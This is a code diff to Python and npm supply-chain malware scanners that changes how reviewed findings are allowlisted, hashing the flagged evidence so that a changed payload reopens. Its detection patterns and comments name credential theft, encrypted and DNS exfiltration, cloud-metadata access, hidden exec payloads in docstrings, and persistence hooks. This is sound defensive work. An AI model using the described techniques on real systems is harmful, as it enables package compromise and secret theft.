+    # v2 shares v3's package-relative keying, so its entries migrate by recomputing
+    # the evidence hash from their stored evidence; only pre-v2 (basename) is rejected.
+    if entries and data.get("version") not in (_BASELINE_SCHEMA_VERSION, 2):
         print(
             f"  [WARN] baseline schema v{data.get('version')} predates package-relative "
             f"keys; ignoring {len(entries)} entr(y/ies). Regenerate with --write-baseline.",
             file = sys.stderr,
         )
         return set()
-    keys: set[tuple[str, str, str]] = set()
+    keys: set[tuple[str, str, str, str]] = set()
+    legacy = 0
     for e in entries:
+        if not isinstance(e, dict):
+            continue
         try:
-            keys.add((_norm_pkg_name(e["package"]), _relpath_in_package(e["file"]), e["pattern"]))
+            evidence_hash = e.get("evidence_hash") or _evidence_hash(e.get("evidence") or "")
+            if not e.get("evidence_hash"):
+                legacy += 1
+            keys.add(
+                (
+                    _norm_pkg_name(e["package"]),
+                    _relpath_in_package(e["file"]),
+                    e["pattern"],
+                    evidence_hash,
+                )
+            )
         except (KeyError, TypeError):
             continue
+    if legacy:
+        print(
+            f"  [WARN] baseline {path}: {legacy} entries lack evidence_hash and may "
+            f"not suppress until regenerated with --write-baseline (findings reopen "
+            f"rather than risk hiding changed code under a coarse key)",
+            file = sys.stderr,
+        )
     return keys
 
 
 def _write_baseline(path: str, findings: list[Finding], threshold_rank: int) -> int:
     """Persist at-or-above-threshold findings as an allowlist for triage."""
     entries = []
-    seen: set[tuple[str, str, str]] = set()
+    seen: set[tuple[str, str, str, str]] = set()
     for f in sorted(findings, key = lambda f: (_SEVERITY_RANK[f.severity], f.package)):
         if _SEVERITY_RANK[f.severity] > threshold_rank:
             continue
@@ -1529,21 +1993,24 @@ def _write_baseline(path: str, findings: list[Finding], threshold_rank: int) ->
         if key in seen:
             continue
         seen.add(key)
+        evidence = f.evidence or f.detail
         entries.append(
             {
                 "package": _norm_pkg_name(f.package),
                 "file": _relpath_in_package(f.filename),
                 "pattern": f.pattern,
                 "severity": f.severity,
-                "evidence": (f.evidence or f.detail)[:240],
+                "evidence": evidence,
+                "evidence_hash": _evidence_hash(evidence),
             }
         )
     doc = {
         "_comment": (
             "scan_npm_packages.py allowlist. Each entry is a HIGH/CRITICAL "
             "finding manually judged benign. Matched on (package, "
-            "package-relative path, pattern); evidence/severity are for review "
-            "only. Regenerate with --write-baseline AFTER reviewing every line."
+            "package-relative path, pattern, evidence hash); a new payload under "
+            "an already-listed package/path/pattern reopens. severity is for "
+            "review only. Regenerate with --write-baseline AFTER reviewing every line."
         ),
         "version": _BASELINE_SCHEMA_VERSION,
         "entries": entries,
@@ -1556,7 +2023,7 @@ def _write_baseline(path: str, findings: list[Finding], threshold_rank: int) ->
 
 
 def _partition_baseline(
-    findings: list[Finding], baseline: set[tuple[str, str, str]]
+    findings: list[Finding], baseline: set[tuple[str, str, str, str]]
 ) -> tuple[list[Finding], list[Finding]]:
     """Split findings into (active, suppressed) by allowlist membership."""
     if not baseline:
diff --git a/scripts/scan_npm_packages_baseline.json b/scripts/scan_npm_packages_baseline.json
index 61d8e74023..6ed3cedef9 100644
--- a/scripts/scan_npm_packages_baseline.json
+++ b/scripts/scan_npm_packages_baseline.json
@@ -1,5 +1,5 @@
 {
-  "_comment": "scan_npm_packages.py allowlist. Each entry is a HIGH/CRITICAL finding manually judged benign. Matched on (package, package-relative path, pattern); evidence/severity are for review only. Regenerate with --write-baseline AFTER reviewing every line. EMPTY by design: a full scan of studio/frontend/package-lock.json (915 packages) produced 0 findings, so nothing needs suppressing and the CI gate can run enforcing (SCAN_ENFORCE=1) as-is. If a future dependency adds a reviewed-benign HIGH/CRITICAL, add it here rather than weakening a pattern.",
-  "version": 2,
+  "_comment": "scan_npm_packages.py allowlist. Each entry is a HIGH/CRITICAL finding manually judged benign. Matched on (package, package-relative path, pattern, evidence hash); a new payload under an already-listed package/path/pattern reopens instead of riding the entry. severity is for review only. Regenerate with --write-baseline AFTER reviewing every line. EMPTY by design: a full scan of studio/frontend/package-lock.json (915 packages) produced 0 findings, so nothing needs suppressing and the CI gate can run enforcing (SCAN_ENFORCE=1) as-is. If a future dependency adds a reviewed-benign HIGH/CRITICAL, add it here rather than weakening a pattern.",
+  "version": 3,
   "entries": []
 }
diff --git a/scripts/scan_packages.py b/scripts/scan_packages.py
index ce9763e235..73f6ff2291 100644
--- a/scripts/scan_packages.py
+++ b/scripts/scan_packages.py
@@ -43,9 +43,10 @@ False positives:
     examples and `>>>` doctests cannot trip a finding. Residual findings that
     are genuine library behavior (a HTTP client reading HF_TOKEN, a vendored
     test fixture) are suppressed via a reviewed baseline allowlist, matched on
-    (package, basename(file), check). A NEW kind of finding in an already-listed
-    file is a different check and still fails. This mirrors the Hugging Face Hub
-    approach (ClamAV/picklescan: low-FP, signature/structural, surface status).
+    (package, package-relative file, check, evidence hash). A new check, or
+    changed flagged code under the same check, reopens the finding; version
+    bumps and line shifts do not. This mirrors the Hugging Face Hub approach
+    (ClamAV/picklescan: low-FP, signature/structural, surface status).
 
 Exit codes:
     0 -- no non-baselined CRITICAL or HIGH findings (or --write-baseline)
@@ -55,6 +56,8 @@ Exit codes:
 
 import argparse
 import atexit
+import bisect
+import hashlib
 import io
 import json
 import os
@@ -156,6 +159,9 @@ RE_EMBEDDED_KEYS = re.compile(
     re.DOTALL,
 )
 
+# Full PEM block (BEGIN..END), used to pin a multiline key body in evidence.
+RE_PEM_BLOCK = re.compile(r"-----BEGIN[^\n]*KEY-----.*?-----END[^\n]*KEY-----", re.DOTALL)
+
 # Cloud metadata / IMDS endpoints
 RE_CLOUD_METADATA = re.compile(
     r"169\.254\.169\.254"  # AWS/Azure/GCP IMDS
@@ -476,22 +482,26 @@ def check_pth_file(content: str, filename: str, package: str) -> list[Finding]:
 
     # Large base64 blob
     if RE_LARGE_BLOB.search(content):
-        blob = RE_LARGE_BLOB.search(content).group()
+        # Digest every blob (not just the first 120 chars, and not just the
+        # first blob), so a later payload that keeps the prefix or appends a
+        # second encoded blob reopens.
+        blob, digest = _blob_digest(content)
         findings.append(
             Finding(
                 CRITICAL,
                 package,
                 filename,
                 f".pth has large base64-like blob ({len(blob)} chars)",
-                blob[:120] + "...",
+                f"{blob[:120]}... sha256:{digest}",
             )
         )
 
-    # Catch-all: any import line in .pth if nothing else triggered
+    # Catch-all: any import line in .pth if nothing else triggered. Bind every
+    # line through a digest so an appended/swapped import reopens the key, but cap
+    # the displayed text so a large .pth of benign-looking imports cannot dump up
+    # to the archive member cap into the logs or baseline JSON.
     if not findings and import_lines:
-        evidence = "\n".join(import_lines[:5])
-        if len(import_lines) > 5:
-            evidence += f"\n... ({len(import_lines)} import lines total)"
+        evidence = _cap_line("\n".join(import_lines))
         findings.append(
             Finding(
                 HIGH,
@@ -505,13 +515,15 @@ def check_pth_file(content: str, filename: str, package: str) -> list[Finding]:
     # Unusually large executable .pth (litellm's was 34 KB; legit ones are <100 bytes)
     size = len(content)
     if size > 500 and import_lines:
+        # Pin the content so a different payload of the same size/import count reopens.
+        digest = hashlib.sha256(content.encode("utf-8", "replace")).hexdigest()
         findings.append(
             Finding(
                 HIGH,
                 package,
                 filename,
                 f"Unusually large executable .pth ({size} bytes)",
-                f"{len(import_lines)} import line(s) in {size}-byte .pth file",
+                f"{len(import_lines)} import line(s) in {size}-byte .pth file sha256:{digest}",
             )
         )
 
@@ -629,6 +641,13 @@ def _hidden_payload_findings(
     removed = "".join(o if o != s else " " for o, s in zip(original, code))
     out = []
 
+    # The visible exec/eval line is what makes the hidden string executable, so
+    # bind it into every finding's evidence: otherwise a reviewed false positive
+    # that keeps the same hidden text but flips a harmless `eval("1+1")` to
+    # `exec(__doc__)` (now running the payload) keeps the same key and stays
+    # suppressed. Taken from `stripped` (real code), where the exec/eval lives.
+    trigger = _extract_evidence(stripped, RE_EXEC_EVAL)
+
     def _hidden(pat):
         # Carrier present in a blanked region but NOT in real code. A carrier in
         # real code is already caught by the normal check, so restricting to
@@ -643,7 +662,7 @@ def _hidden_payload_findings(
                     package,
                     filename,
                     "exec/eval with payload hidden in a docstring/string",
-                    f"{label}: {_extract_evidence(removed, pat)}",
+                    f"exec: {trigger}\n{label}: {_extract_evidence(removed, pat)}",
                 )
             )
     # Fetch-then-run dropper: a network call AND an os/subprocess exec that both
@@ -657,7 +676,9 @@ def _hidden_payload_findings(
                 package,
                 filename,
                 "exec/eval with hidden network+exec payload",
-                f"network+exec: {_extract_evidence(removed, RE_SUBPROCESS)}",
+                f"exec: {trigger}\n"
+                f"network+exec: {_extract_evidence(removed, RE_NETWORK)} | "
+                f"{_extract_evidence(removed, RE_SUBPROCESS)}",
             )
         )
     return out
@@ -717,14 +738,19 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:
 
     # openssl encryption + network/key material (encrypted exfiltration)
     if has_openssl_cli and (has_network or has_keys):
+        # Bind whichever side(s) co-occur so a changed endpoint or key reopens.
+        evidence = [f"OpenSSL: {_extract_evidence(content, RE_OPENSSL_CLI)}"]
+        if has_network:
+            evidence.append(f"Network: {_extract_evidence(content, RE_NETWORK)}")
+        if has_keys:
+            evidence.append(f"Key: {_embedded_key_evidence(content)}")
         findings.append(
             Finding(
                 CRITICAL,
                 package,
                 filename,
                 "openssl encryption + network/key material (encrypted exfiltration)",
-                f"OpenSSL: {_extract_evidence(content, RE_OPENSSL_CLI)}\n"
-                f"Network: {_extract_evidence(content, RE_NETWORK)}",
+                "\n".join(evidence),
             )
         )
 
@@ -896,6 +922,10 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:
 
     # Obfuscated payload: base64 + exec/eval + large blob
     if has_base64 and has_exec_eval and has_blob:
+        # Digest every blob too: a payload may sit on a separate line from the
+        # decode call, and a second encoded blob may be appended later, so
+        # binding only the base64/exec lines or the first blob would miss it.
+        _, blob_digest = _blob_digest(content)
         findings.append(
             Finding(
                 HIGH,
@@ -903,7 +933,8 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:
                 filename,
                 "base64 decode + exec/eval + large encoded blob",
                 f"Base64: {_extract_evidence(content, RE_BASE64)}\n"
-                f"Exec: {_extract_evidence(content, RE_EXEC_EVAL)}",
+                f"Exec: {_extract_evidence(content, RE_EXEC_EVAL)}\n"
+                f"Blob: sha256:{blob_digest}",
             )
         )
 
@@ -928,32 +959,48 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:
                 package,
                 filename,
                 "Embedded cryptographic key + network calls (encrypted exfil pattern)",
-                f"Key: {_extract_evidence(content, RE_EMBEDDED_KEYS)}\n"
+                f"Key: {_embedded_key_evidence(content)}\n"
                 f"Network: {_extract_evidence(content, RE_NETWORK)}",
             )
         )
 
     # Anti-analysis + any other suspicious pattern
     if has_anti and (has_network or has_subprocess or has_exec_eval):
+        # Bind the suspicious side too so a changed payload reopens.
+        evidence = [f"Anti: {_extract_evidence(content, RE_ANTI_ANALYSIS)}"]
+        if has_network:
+            evidence.append(f"Network: {_extract_evidence(content, RE_NETWORK)}")
+        if has_subprocess:
+            evidence.append(f"Subprocess: {_extract_evidence(content, RE_SUBPROCESS)}")
+        if has_exec_eval:
+            evidence.append(f"Exec: {_extract_evidence(content, RE_EXEC_EVAL)}")
         findings.append(
             Finding(
                 HIGH,
                 package,
                 filename,
                 "Anti-analysis/sandbox evasion + suspicious behavior",
-                f"Anti: {_extract_evidence(content, RE_ANTI_ANALYSIS)}",
+                "\n".join(evidence),
             )
         )
 
     # DNS exfiltration with dynamic hostnames
     if has_dns_exfil and (has_base64 or has_network or has_creds):
+        # Bind the co-occurring side so a changed exfil channel reopens.
+        evidence = [f"DNS: {_extract_evidence(content, RE_DNS_EXFIL)}"]
+        if has_base64:
+            evidence.append(f"Base64: {_extract_evidence(content, RE_BASE64)}")
+        if has_network:
+            evidence.append(f"Network: {_extract_evidence(content, RE_NETWORK)}")
+        if has_creds:
+            evidence.append(f"Creds: {_extract_evidence(content, RE_CRED_ACCESS)}")
         findings.append(
             Finding(
                 HIGH,
                 package,
                 filename,
                 "DNS exfiltration / tunneling patterns",
-                _extract_evidence(content, RE_DNS_EXFIL),
+                "\n".join(evidence),
             )
         )
 
@@ -1064,7 +1111,7 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:
                 package,
                 filename,
                 "Embedded cryptographic key material",
-                _extract_evidence(content, RE_EMBEDDED_KEYS),
+                _embedded_key_evidence(content),
             )
         )
 
@@ -1107,39 +1154,349 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:
     return findings
 
 
+_MAX_MULTILINE_LINES = 12
+# How far a single matched call is followed over its bracket continuations. A call
+# that genuinely closes is bound all the way to its real close, up to the hard
+# limit, so a ``requests.post(`` with many option/header lines before ``data=``
+# binds its whole argument list in the digest and a changed payload on a late
+# continuation line reopens (a 40-line soft cap would hash only the first 40 lines
+# and let a later ``data=``/headers change ride the baseline key). A bracket that
+# never closes within the hard limit is a miscount (a multi-line string the
+# single-line blanker cannot mask) or a stray opener, so it is bound only to the
+# soft cap and cannot swallow unrelated code.
+_MAX_CALL_LINES = 40  # soft cap: how far a NEVER-closing opener is followed
+_MAX_CALL_HARD_LINES = 200  # hard cap: how far a closing call is followed to bind it
+
+# Cap a single rendered line. A short line is shown verbatim; a long (e.g.
+# minified one-liner) line is shown as a bounded prefix plus a sha256 of the full
+# line, so a packed payload cannot dump unbounded content into the evidence and
+# baseline while a change past the cutoff still changes the digest and reopens the
+# finding. The npm scanner bounds its snippets the same way.
+_MAX_LINE_CHARS = 200
+# Cap on recorded spans in one evidence string; beyond it the remaining spans are
+# folded into a digest so a file with thousands of matching lines cannot build a
+# multi-megabyte evidence blob, while an added/removed span past the cap still
+# changes the key. Comfortably above the largest real baseline entry.
+_MAX_EVIDENCE_SPANS = 96
+
+
+def _cap_line(code: str) -> str:
+    """Bound a single line's displayed code: return it verbatim when short, else a
+    ``_MAX_LINE_CHARS`` prefix plus a digest of the whole line so the tail is still
+    pinned (fail-closed) without recording the entire line."""
+    if len(code) <= _MAX_LINE_CHARS:
+        return code
+    digest = hashlib.sha256(code.encode("utf-8", "replace")).hexdigest()
+    return f"{code[:_MAX_LINE_CHARS]} sha256:{digest}"
+
+
+_PY_TRIPLE = ("'''", '"""')
+
+
+def _ends_with_odd_backslash(s: str) -> bool:
+    """True if ``s`` ends with an odd run of backslashes, i.e. a trailing
+    backslash that escapes the newline (a string/line continuation) rather than a
+    literal ``\\\\`` pair."""
+    return (len(s) - len(s.rstrip("\\"))) % 2 == 1
+
+
+# Single-line quoted string literal; blanks complete one-line strings (the legacy
+# view) so the single-line and multi-line blanked spans can be unioned below.
+_RE_STR_LITERAL = re.compile(r"'(?:[^'\\]|\\.)*'|\"(?:[^\"\\]|\\.)*\"")
+
+
+def _blank_code_strings(lines: list[str]) -> list[str]:
+    """Replace string contents (single- and triple-quoted, escapes honoured) with
+    spaces across ``lines``, keeping the line count and every bracket OUTSIDE a
+    string intact. Bracket counting then never miscounts a ``)`` that lives inside
+    a string -- including a triple-quoted string spanning several lines, which a
+    per-line regex cannot blank."""
+    out: list[str] = []
+    in_triple: str | None = None  # active ''' or \"\"\" delimiter, or None
+    in_string: str | None = None  # active ' or " continued via a trailing backslash
+    for line in lines:
+        buf: list[str] = []
+        i, n = 0, len(line)
+        while i < n:
+            if in_triple is not None:
+                end = line.find(in_triple, i)
+                if end == -1:
+                    buf.append(" " * (n - i))
+                    i = n
+                else:
+                    buf.append(" " * (end - i + 3))
+                    i = end + 3
+                    in_triple = None
+                continue
+            if in_string is not None:
+                # A single-/double-quoted string continued onto this line by a
+                # backslash-escaped newline. Resume blanking until its closing quote;
+                # if this line also ends on an odd trailing backslash the string
+                # continues again, otherwise it closes (or is unterminated) here. A
+                # per-line regex blanker cannot see this, so a `)` on the
+                # continuation line would otherwise be counted as code and close the
+                # call early -- dropping the URL/body lines that follow.
+                j, closed = i, False
+                while j < n:
+                    if line[j] == "\\":
+                        j += 2
+                        continue
+                    if line[j] == in_string:
+                        j += 1
+                        closed = True
+                        break
+                    j += 1
+                buf.append(" " * (min(j, n) - i))
+                if closed:
+                    in_string = None
+                    i = j
+                else:
+                    i = n
+                    if not _ends_with_odd_backslash(line):
+                        in_string = None  # unterminated without continuation; stop
+                continue
+            ch = line[i]
+            if ch in "'\"":
+                if line[i : i + 3] in _PY_TRIPLE:
+                    delim = line[i : i + 3]
+                    end = line.find(delim, i + 3)
+                    if end == -1:  # opens a triple string that runs past this line
+                        buf.append(" " * (n - i))
+                        in_triple = delim
+                        i = n
+                    else:
+                        buf.append(" " * (end - i + 3))
+                        i = end + 3
+                    continue
+                j = i + 1  # single-line string; skip to its closing quote
+                closed = False
+                while j < n:
+                    if line[j] == "\\":
+                        j += 2
+                        continue
+                    if line[j] == ch:
+                        j += 1
+                        closed = True
+                        break
+                    j += 1
+                buf.append(" " * (min(j, n) - i))
+                if closed:
+                    i = j
+                else:
+                    # Ran off the line without closing: an odd trailing backslash
+                    # escapes the newline and continues the string onto the next
+                    # line, so remember the quote; otherwise it is just unterminated.
+                    i = n
+                    if _ends_with_odd_backslash(line):
+                        in_string = ch
+                continue
+            buf.append(ch)
+            i += 1
+        out.append("".join(buf))
+    return out
+
+
+_RE_BRACKETS = re.compile(r"[()\[\]{}]")
+_OPENERS = frozenset("([{")
+
+
+def _bracket_lr(line: str) -> tuple[int, int]:
+    """Order-aware bracket reduction of one already-string-blanked line: ``(L, R)``
+    where ``L`` is the count of closers with no opener earlier on the line (they
+    need an opener to the LEFT / a prior line) and ``R`` is the count of openers
+    with no closer later on the line (they need a closer to the RIGHT / a later
+    line). A plain net count (opens minus closes) collapses order and so masks a
+    trailing opener that follows leading closers on the same line, e.g.
+    ``]; requests.post(`` nets to 0 and hides the ``(`` that opens the flagged
+    call; tracking the running minimum keeps that opener visible so the call's
+    argument lines still bind. Only bracket characters are walked (pulled out with
+    one C-level regex pass) so a long minified line stays cheap."""
+    depth = 0
+    low = 0
+    for ch in _RE_BRACKETS.findall(line):
+        if ch in _OPENERS:
+            depth += 1
+        else:
+            depth -= 1
+            if depth < low:
+                low = depth
+    return -low, depth - low
+
+
+def _scan_line_end(view: list[str], start: int) -> int:
+    """1-based line where the statement at ``start`` closes its brackets in
+    ``view`` (one blanked view of the file). A call that closes is followed to its
+    real close up to ``_MAX_CALL_HARD_LINES`` so its whole argument list binds; a
+    bracket that never closes within that hard limit (a stray/miscounted opener) is
+    bound only to the ``_MAX_CALL_LINES`` soft cap so it cannot swallow the file.
+    Brackets are applied in order via ``_bracket_lr`` (leading closers clamp at 0)
+    so a closer that precedes the opener on the same line does not cancel it."""
+    depth = 0
+    hard = min(len(view), start + _MAX_CALL_HARD_LINES - 1)
+    for j in range(start, hard + 1):
+        ln = view[j - 1]
+        left, right = _bracket_lr(ln)
+        depth = max(0, depth - left) + right
+        if ln.rstrip().endswith("\\"):
+            continue  # explicit backslash continuation: the call (e.g. its `(` and
+            # URL/body) is on the next physical line, so do not close here
+        if depth <= 0:
+            return j
+    # Never closed within the hard limit: bind only the soft cap so a stray opener
+    # cannot bind a giant unrelated span.
+    return min(len(view), start + _MAX_CALL_LINES - 1)
+
+
+def _logical_line_end(sl_blanked: list[str], ml_blanked: list[str], start: int) -> int:
+    """1-based line where the statement opened at ``start`` closes, so a multi-line
+    call binds its argument lines (a changed URL/body on a continuation line
+    reopens, not just the API line). Returns the LARGER of the spans found in the
+    single-line-blanked view (legacy: a payload embedded inside a string still
+    counts, so its brackets bind the call) and the multi-line-blanked view (a
+    bracket inside a triple-quoted string argument no longer closes the call
+    early). Taking the union never shrinks the bound span below either view, so
+    neither blanking strategy can drop a continuation line a malicious change
+    relies on."""
+    return max(_scan_line_end(sl_blanked, start), _scan_line_end(ml_blanked, start))
+
+
 def _extract_evidence(
     content: str,
     pattern: re.Pattern,
-    max_matches: int = 3,
+    max_matches: int = 0,
 ) -> str:
-    """Pull matching lines as evidence snippets.
+    """Pull matching lines as evidence snippets (``max_matches=0`` means all).
 
-    Falls back to a whole-content search when the pattern only matches across
-    line boundaries (several IOC regexes use ``re.DOTALL``). Without this an
-    anti-analysis / archive-staging finding could report empty evidence, making
-    the baseline entry impossible to review.
+    Records every matching line in full, not a truncated sample, so an extra
+    match (or extra code on a long line) appended to an already-flagged file
+    changes the evidence and the baseline key instead of riding the first few.
+    Leading whitespace is kept so a flagged line moved out of a guarded block
+    reads as changed. Each single-line match is extended over bracket
+    continuations so a multi-line call binds its argument lines too. Cross-line
+    matches the per-line scan cannot see (DOTALL IOC regexes, or a multi-line
+    construct appended under a check that already had a one-line match) are
+    recorded afterwards, so an added multiline payload reopens the finding. A
+    pathological greedy span is bounded to its head line plus a digest of the
+    rest.
     """
     lines = content.splitlines()
-    matches = []
+    sl_blanked = [_RE_STR_LITERAL.sub("", ln) for ln in lines]
+    ml_blanked = _blank_code_strings(lines)
+    out = []
+    seen: set[tuple[int, int]] = set()
+    # Overflow is streamed, not buffered: once `out` holds _MAX_EVIDENCE_SPANS
+    # rendered spans, every further span is folded straight into a running digest
+    # instead of being materialized and sliced off at the end. On a minified or
+    # padded file with hundreds of thousands of matching lines that keeps memory
+    # and work bounded to the display cap rather than the match count, while the
+    # digest still covers every overflow span so an over-cap payload change
+    # reopens. The fold reproduces _canon_evidence(" | ".join(overflow)) exactly
+    # (strip each span to its non-empty L<NN>-less code lines, join with "\n"), so
+    # the digest is identical to buffering the whole list and canonicalizing once.
+    overflow_count = 0
+    overflow_hash = hashlib.sha256()
+    overflow_started = False
+
+    def _emit(rendered: str) -> None:
+        nonlocal overflow_count, overflow_started
+        if len(out) < _MAX_EVIDENCE_SPANS:
+            out.append(rendered)
+            return
+        overflow_count += 1
+        for piece in _RE_EVIDENCE_SPLIT.split(rendered):
+            piece = _RE_EVIDENCE_PREFIX.sub("", piece, count = 1).rstrip()
+            if not piece:
+                continue
+            if overflow_started:
+                overflow_hash.update(b"\n")
+            overflow_hash.update(piece.encode("utf-8", "replace"))
+            overflow_started = True
+
+    def _render(start: int, end: int) -> str:
+        span = lines[start - 1 : end] or ["<multiline match>"]
+        if len(span) > _MAX_MULTILINE_LINES:
+            # Digest the code without the L<NN>: markers so a pure line shift of
+            # the same span stays stable while a code change still reopens. The
+            # head is truncated for display only; the span digest already binds
+            # its full content, so no per-line digest is needed here.
+            code = "\n".join(ln.rstrip() for ln in span)
+            digest = hashlib.sha256(code.encode("utf-8", "replace")).hexdigest()
+            head = span[0].rstrip()
+            if len(head) > _MAX_LINE_CHARS:
+                head = head[:_MAX_LINE_CHARS] + "..."
+            return f"L{start}: {head} sha256:{digest}"
+        return "\n".join(f"L{start + i}: {_cap_line(ln.rstrip())}" for i, ln in enumerate(span))
+
     for i, line in enumerate(lines, 1):
         if pattern.search(line):
-            snippet = line.strip()
-            if len(snippet) > 160:
-                snippet = snippet[:160] + "..."
-            matches.append(f"L{i}: {snippet}")
-            if len(matches) >= max_matches:
-                break
-    if matches:
-        return " | ".join(matches)
-    # Multiline (DOTALL) match: report the line where the match begins.
-    m = pattern.search(content)
-    if m:
-        line_no = content.count("\n", 0, m.start()) + 1
-        snippet = lines[line_no - 1].strip() if line_no - 1 < len(lines) else ""
-        if len(snippet) > 160:
-            snippet = snippet[:160] + "..."
-        return f"L{line_no}: {snippet}" if snippet else f"L{line_no}: <multiline match>"
-    return ""
+            span = (i, _logical_line_end(sl_blanked, ml_blanked, i))
+            if span in seen:
+                continue
+            # Only track spans while still filling the display list: past the cap
+            # every span is folded into the overflow digest, so growing `seen` with
+            # all of them would keep memory proportional to the match count (the
+            # behavior this cap exists to bound) on a generated file with millions
+            # of one-line matches. The per-line spans are unique by line number, so
+            # dropping them from `seen` past the cap cannot cause a missed dedup
+            # here; at worst the fallback re-folds an over-cap span into the same
+            # digest, which stays deterministic and still reopens on a change.
+            if len(out) < _MAX_EVIDENCE_SPANS:
+                seen.add(span)
+            _emit(_render(*span))
+            if max_matches and len(out) >= max_matches:
+                return " | ".join(out)
+
+    # Precompute newline offsets once so mapping a match offset to its 1-based line
+    # is O(log n) (bisect) rather than O(n) (content.count) per match; the latter
+    # made this fallback quadratic on a minified file with thousands of matches.
+    nl = [p for p, ch in enumerate(content) if ch == "\n"]
+    for m in pattern.finditer(content):
+        start = bisect.bisect_left(nl, m.start()) + 1
+        end = bisect.bisect_left(nl, m.end()) + 1
+        if end <= start or (start, end) in seen:
+            continue  # single-line matches are already covered by the pass above
+        # A giant greedy DOTALL span is bound by the full digest of its content
+        # (via _render, which renders a >12-line span as a head line plus a sha256
+        # of the whole span). Binding only the anchors leaves the bridged interior
+        # unhashed, so an attacker could insert a new cross-line payload (a `/tmp`
+        # line and a later `subprocess` line, sharing no single line so the
+        # per-line pass never binds them) between unchanged outer anchors and keep
+        # the same key. Digesting the interior reopens on any such change; a pure
+        # line shift stays stable because the digest is over the markerless code.
+        if len(out) < _MAX_EVIDENCE_SPANS:
+            seen.add((start, end))
+        _emit(_render(start, end))
+        if max_matches and len(out) >= max_matches:
+            break
+    if overflow_count:
+        # The overflow digest was accumulated from the canonicalized (L<NN>:-less)
+        # spans as they were emitted, so a pure line shift above the overflow
+        # region does not change it and reopen an otherwise-unchanged finding,
+        # matching the per-span key's line-shift stability.
+        out.append(f"(+{overflow_count} more) sha256:{overflow_hash.hexdigest()}")
+    return " | ".join(out)
+
+
+def _embedded_key_evidence(content: str) -> str:
+    """Key evidence that also pins the full PEM block(s) via a digest, so a key
+    body swapped under the same BEGIN marker reopens the finding (single-line and
+    DER keys are already bound by their full matched line)."""
+    ev = _extract_evidence(content, RE_EMBEDDED_KEYS)
+    blocks = RE_PEM_BLOCK.findall(content)
+    if blocks:
+        digest = hashlib.sha256("\n".join(blocks).encode("utf-8", "replace")).hexdigest()
+        ev = f"{ev} sha256:{digest}" if ev else f"sha256:{digest}"
+    return ev
+
+
+def _blob_digest(content: str) -> tuple[str, str]:
+    """First large blob (for display) plus a digest binding EVERY large blob, so
+    an appended or swapped encoded payload reopens the finding rather than riding
+    an unchanged first blob. Assumes at least one blob is present (single-blob
+    files keep the prior single-blob digest, so the baseline does not drift)."""
+    blobs = RE_LARGE_BLOB.findall(content)
+    digest = hashlib.sha256("\n".join(blobs).encode("utf-8", "replace")).hexdigest()
+    return blobs[0], digest
 
 
 # Non-Python checkers
@@ -1189,7 +1546,8 @@ def check_js_file(content: str, filename: str, package: str) -> list[Finding]:
                 package,
                 filename,
                 "JS embeds credential regexes AND makes network calls (stealer)",
-                _extract_evidence(content, RE_TOKEN_REGEX),
+                f"Token: {_extract_evidence(content, RE_TOKEN_REGEX)}\n"
+                f"Network: {_extract_evidence(content, RE_NETWORK)}",
             )
         )
     if has_workflow_inj:
@@ -1202,18 +1560,31 @@ def check_js_file(content: str, filename: str, package: str) -> list[Finding]:
                 _extract_evidence(content, RE_WORKFLOW_INJECT),
             )
         )
-    if is_large and not findings:
-        findings.append(
-            Finding(
-                HIGH,
-                package,
-                filename,
-                # Size stays in evidence, not the check label, so the baseline key
-                # does not drift when a wheel's bundle grows by a few KB.
-                "Python wheel ships large JS bundle (uncommon; manually review)",
-                f"{len(content) // 1024} KB JS bundle",
+    # Pin the whole file's content digest to EVERY JS finding (not just large
+    # bundles). _extract_evidence blanks only Python string forms before counting
+    # brackets, so a JS backtick template literal that contains `)` can close a
+    # call's span early and omit the option/body lines that follow; binding the
+    # full content means a change to those omitted lines still reopens instead of
+    # riding the matched-line evidence. A large bundle with no other heuristic is a
+    # standalone HIGH.
+    if findings or is_large:
+        digest = hashlib.sha256(content.encode("utf-8", "replace")).hexdigest()
+        if findings:
+            for f in findings:
+                f.evidence = f"{f.evidence} bundle-sha256:{digest}"
+        else:
+            findings.append(
+                Finding(
+                    HIGH,
+                    package,
+                    filename,
+                    # Size stays out of the check label (from main) so the baseline
+                    # key does not drift when a benign bundle grows; the full-content
+                    # digest below still binds the bytes so a payload swap reopens.
+                    "Python wheel ships large JS bundle (uncommon; manually review)",
+                    f"sha256: {digest}",
+                )
             )
-        )
     return findings
 
 
@@ -1233,6 +1604,12 @@ def check_shell_file(content: str, filename: str, package: str) -> list[Finding]
     if RE_DEV_TOOL_HIJACK.search(content) and (
         RE_NETWORK.search(content) or RE_SUBPROCESS.search(content)
     ):
+        # Bind the hook AND the network/exec signal so a changed exfil reopens.
+        evidence = [f"Hook: {_extract_evidence(content, RE_DEV_TOOL_HIJACK)}"]
+        if RE_NETWORK.search(content):
+            evidence.append(f"Network: {_extract_evidence(content, RE_NETWORK)}")
+        if RE_SUBPROCESS.search(content):
+            evidence.append(f"Exec: {_extract_evidence(content, RE_SUBPROCESS)}")
         findings.append(
             Finding(
                 CRITICAL,
@@ -1240,7 +1617,7 @@ def check_shell_file(content: str, filename: str, package: str) -> list[Finding]
                 filename,
                 "Shell installs developer-tool persistence hook (.bashrc / "
                 "profile.d / vscode tasks) AND has network or exec",
-                _extract_evidence(content, RE_DEV_TOOL_HIJACK),
+                "\n".join(evidence),
             )
         )
     if RE_TOKEN_REGEX.search(content) and RE_NETWORK.search(content):
@@ -1250,7 +1627,8 @@ def check_shell_file(content: str, filename: str, package: str) -> list[Finding]
                 package,
                 filename,
                 "Shell embeds credential regexes AND makes network calls",
-                _extract_evidence(content, RE_TOKEN_REGEX),
+                f"Token: {_extract_evidence(content, RE_TOKEN_REGEX)}\n"
+                f"Network: {_extract_evidence(content, RE_NETWORK)}",
             )
         )
     if RE_WORKFLOW_INJECT.search(content):
@@ -2517,9 +2895,9 @@ def _find_requirements_files(root: str) -> list[str]:
 
 # Baseline allowlist: triaged known-good CRITICAL/HIGH findings so the gate can
 # enforce without drowning in legitimate-library noise. Matched on
-# ``(package, basename(filename), check)`` -- not evidence text -- so a version
-# bump does not reopen a finding, but a *new* kind of finding in a listed file
-# is a different check and still fails. Regenerate with ``--write-baseline``.
